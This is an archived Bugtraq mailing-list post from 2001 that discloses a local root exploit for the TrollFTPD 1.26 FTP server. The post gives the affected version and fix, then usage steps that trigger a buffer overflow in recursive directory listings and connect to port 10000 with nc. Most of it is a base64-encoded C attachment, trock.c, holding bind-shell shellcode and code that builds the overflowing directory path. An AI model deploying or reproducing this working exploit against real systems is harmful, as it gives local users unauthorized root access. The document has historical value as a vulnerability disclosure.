[22223] in bugtraq
Local exploit for TrollFTPD-1.26
daemon@ATHENA.MIT.EDU (zen-parse)
Sun Aug 12 23:50:10 2001
Date: Mon, 13 Aug 2001 15:22:22 +1200 (NZST)
From: zen-parse <zen-parse@gmx.net>
To: <bugtraq@securityfocus.com>
Message-ID: <Pine.LNX.4.33.0108131505250.9192-200000@clarity.local>
MIME-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="-1463783680-1955057125-997672942=:9192"
---1463783680-1955057125-997672942=:9192
Content-Type: TEXT/PLAIN; charset=US-ASCII
Affects: TrollFTPD 1.26 (probably earlier)
Severity: local users can gain root access.
Fix: upgrade to TrollFTPD-1.27
Fix URL: ftp://ftp.trolltech.com/freebies/ftpd/troll-ftpd-1.27.tar.gz
Description:
An error in the handling of recursive directory listings can result in an
exploitable buffer overflow.
Exploit:
(offsets are for one machine. not guaranteed to work on any others.)
Run the program,
ftp localhost
<in ftp>
(your username)
(your password)
cd /tmp
ls -R
<out of ftp>
Connect to port 10000 with nc
Be nice.
-- zen-parse
--
-------------------------------------------------------------------------
The preceding information, unless directly posted by zen-parse@gmx.net to
an open forum is confidential information and not to be distributed
(without explicit permission being given by zen-parse@gmx.net). Legal
action may be taken to enforce this. If you are mum or dad, this probably
doesn't apply to you.
---1463783680-1955057125-997672942=:9192
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="trock.c"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.33.0108131522220.9192@clarity.local>
Content-Description: TrollFTPD exploit
Content-Disposition: attachment; filename="trock.c"
Y2hhciBzaGVsbGNvZGVbXSA9DQogICAiXHg5MFx4OTBceDkwXHg5MFx4OTBc
eDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4
OTBceDkwIg0KICAgIlx4MzFceGRiIiAgICAgICAgICAgICAgICAgICAvLyB4
b3IgIGVieCwgZWJ4DQogICAiXHhmN1x4ZTMiICAgICAgICAgICAgICAgICAg
IC8vIG11bCAgZWJ4DQogICAiXHhiMFx4NjYiICAgICAgICAgICAgICAgICAg
IC8vIG1vdiAgICAgYWwsIDEwMg0KICAgIlx4NTMiICAgICAgICAgICAgICAg
ICAgICAgICAvLyBwdXNoICAgIGVieA0KICAgIlx4NDMiICAgICAgICAgICAg
ICAgICAgICAgICAvLyBpbmMgICAgIGVieA0KICAgIlx4NTMiICAgICAgICAg
ICAgICAgICAgICAgICAvLyBwdXNoICAgIGVieA0KICAgIlx4NDMiICAgICAg
ICAgICAgICAgICAgICAgICAvLyBpbmMgICAgIGVieA0KICAgIlx4NTMiICAg
ICAgICAgICAgICAgICAgICAgICAvLyBwdXNoICAgIGVieA0KICAgIlx4ODlc
eGUxIiAgICAgICAgICAgICAgICAgICAvLyBtb3YgICAgIGVjeCwgZXNwDQog
ICAiXHg0YiIgICAgICAgICAgICAgICAgICAgICAgIC8vIGRlYyAgICAgZWJ4
DQogICAiXHhjZFx4ODAiICAgICAgICAgICAgICAgICAgIC8vIGludCAgICAg
ODBoDQogICAiXHg4OVx4YzciICAgICAgICAgICAgICAgICAgIC8vIG1vdiAg
ICAgZWRpLCBlYXgNCiAgICJceDUyIiAgICAgICAgICAgICAgICAgICAgICAg
Ly8gcHVzaCAgICBlZHgNCiAgICJceDY2XHg2OFx4MjdceDEwIiAgICAgICAg
ICAgLy8gcHVzaCAgICB3b3JkIDQxMzUNCiAgICJceDQzIiAgICAgICAgICAg
ICAgICAgICAgICAgLy8gaW5jICAgICBlYngNCiAgICJceDY2XHg1MyIgICAg
ICAgICAgICAgICAgICAgLy8gcHVzaCAgICBieA0KICAgIlx4ODlceGUxIiAg
ICAgICAgICAgICAgICAgICAvLyBtb3YgICAgIGVjeCwgZXNwDQogICAiXHhi
MFx4MTAiICAgICAgICAgICAgICAgICAgIC8vIG1vdiAgYWwsIDE2DQogICAi
XHg1MCIgICAgICAgICAgICAgICAgICAgICAgIC8vIHB1c2ggZWF4DQogICAi
XHg1MSIgICAgICAgICAgICAgICAgICAgICAgIC8vIHB1c2ggICAgZWN4DQog
ICAiXHg1NyIgICAgICAgICAgICAgICAgICAgICAgIC8vIHB1c2ggICAgZWRp
DQogICAiXHg4OVx4ZTEiICAgICAgICAgICAgICAgICAgIC8vIG1vdiAgICAg
ZWN4LCBlc3ANCiAgICJceGIwXHg2NiIgICAgICAgICAgICAgICAgICAgLy8g
bW92ICAgICBhbCwgMTAyDQogICAiXHhjZFx4ODAiICAgICAgICAgICAgICAg
ICAgIC8vIGludCAgICAgODBoDQogICAiXHhiMFx4NjYiICAgICAgICAgICAg
ICAgICAgIC8vIG1vdiAgICAgYWwsIDEwMg0KICAgIlx4YjNceDA0IiAgICAg
ICAgICAgICAgICAgICAvLyBtb3YgICAgIGJsLCA0DQogICAiXHhjZFx4ODAi
ICAgICAgICAgICAgICAgICAgIC8vIGludCAgICAgODBoDQogICAiXHg1MCIg
ICAgICAgICAgICAgICAgICAgICAgIC8vIHB1c2ggZWF4DQogICAiXHg1MCIg
ICAgICAgICAgICAgICAgICAgICAgIC8vIHB1c2ggZWF4DQogICAiXHg1NyIg
ICAgICAgICAgICAgICAgICAgICAgIC8vIHB1c2ggZWRpDQogICAiXHg4OVx4
ZTEiICAgICAgICAgICAgICAgICAgIC8vIG1vdiAgZWN4LCBlc3ANCiAgICJc
eDQzIiAgICAgICAgICAgICAgICAgICAgICAgLy8gaW5jICBlYngNCiAgICJc
eGIwXHg2NiIgICAgICAgICAgICAgICAgICAgLy8gbW92ICBhbCwgMTAyDQog
ICAiXHhjZFx4ODAiICAgICAgICAgICAgICAgICAgIC8vIGludCAgODBoDQog
ICAiXHg4OVx4ZDkiICAgICAgICAgICAgICAgICAgIC8vIG1vdiAgZWN4LCBl
YngNCiAgICJceDg5XHhjMyIgICAgICAgICAgICAgICAgICAgLy8gbW92ICAg
ICBlYngsIGVheA0KICAgIlx4YjBceDNmIiAgICAgICAgICAgICAgICAgICAv
LyBtb3YgICAgIGFsLCA2Mw0KICAgIlx4NDkiICAgICAgICAgICAgICAgICAg
ICAgICAvLyBkZWMgICAgIGVjeA0KICAgIlx4Y2RceDgwIiAgICAgICAgICAg
ICAgICAgICAvLyBpbnQgICAgIDgwaA0KICAgIlx4NDEiICAgICAgICAgICAg
ICAgICAgICAgICAvLyBpbmMgICAgIGVjeA0KICAgIlx4ZTJceGY4IiAgICAg
ICAgICAgICAgICAgICAvLyBsb29wICAgIGxwDQogICAiXHg1MSIgICAgICAg
ICAgICAgICAgICAgICAgIC8vIHB1c2ggICAgZWN4DQogICAiXHg2OFx4NTVc
eDU1XHg1NVx4NTUiICAgICAgIC8vIHB1c2ggICAgZHdvcmQgNjg3MzJmNmVo
DQogICAiXHg2OFx4NTVceDU1XHg1NVx4NTUiICAgICAgIC8vIHB1c2ggICAg
ZHdvcmQgNjk2MjJmMmZoDQogICAiXHg4OVx4ZTMiICAgICAgICAgICAgICAg
ICAgIC8vIG1vdiAgICAgZWJ4LCBlc3ANCiAgICJceDUxIiAgICAgICAgICAg
ICAgICAgICAgICAgLy8gcHVzaCAgICBlY3gNCiAgICJceDUzIiAgICAgICAg
ICAgICAgICAgICAgICAgLy8gcHVzaCBlYngNCiAgICJceDg5XHhlMSIgICAg
ICAgICAgICAgICAgICAgLy8gbW92ICBlY3gsIGVzcA0KICAgIlx4YjBceDBi
IiAgICAgICAgICAgICAgICAgICAvLyBtb3YgIGFsLCAxMQ0KICAgIlx4Y2Rc
eDgwIjsgICAgICAgICAgICAgICAgICAvLyBpbnQgICAgIDgwaA0KDQptYWlu
KCkNCnsNCiBjaGFyIGRpcls4MDAwXTsNCiBjaGFyIG5pcls4MDAwXTsNCiBp
bnQgejA9MCxhMD0weDA4MDU5N2Y4Ow0KIGludCB6MT0wLGExPTB4YmZmOTY0
NTA7DQogaW50IGc7IA0KIHN0cmNweShkaXIsIi90bXAvcmV0cm9sbC8iKTsN
CiBta2RpcihkaXIsMDc3Nyk7DQogcHJpbnRmKCIlZFxuIixzdHJsZW4oc2hl
bGxjb2RlKSk7IA0KIHdoaWxlKHN0cmxlbihkaXIpPDQwNDApDQogew0KICBz
dHJjYXQoZGlyLCJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUEvIik7DQogIG1rZGlyKGRpciwwNzc3KTsNCiB9DQogLy8gNDA0OCBz
byBmYXIgIGxlYXZpbmcgNDggbGVmdC4NCiBpZihjaGRpcihkaXIpKXtwZXJy
b3IoImNoZGlyIik7ZXhpdCgxKTt9DQogcHJpbnRmKCIlZCArICIsc3RybGVu
KGRpcikpOw0KIHNwcmludGYoZGlyLCJBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQS8iKTsNCiBta2RpcihkaXIsMDc3Nyk7DQogc3lzdGVtKCJjcCAv
YmluL3NoIEFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBL1VVVVVVVVVV
Iik7DQogc3ByaW50ZihuaXIsIiVzQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
IixkaXIpOw0KIHNwcmludGYoZGlyLCIlc0dHR0c9QUFBQUFBQSVzQUFBQUFB
QUFBQUFBJXNDQ0NDJXMiLG5pciwmYTAsJmExLHNoZWxsY29kZSk7DQogcHJp
bnRmKCIlZCA9ICIsc3RybGVuKGRpcikpOw0KIG1rZGlyKGRpciwwNzc3KTsN
Cn0NCg==
---1463783680-1955057125-997672942=:9192--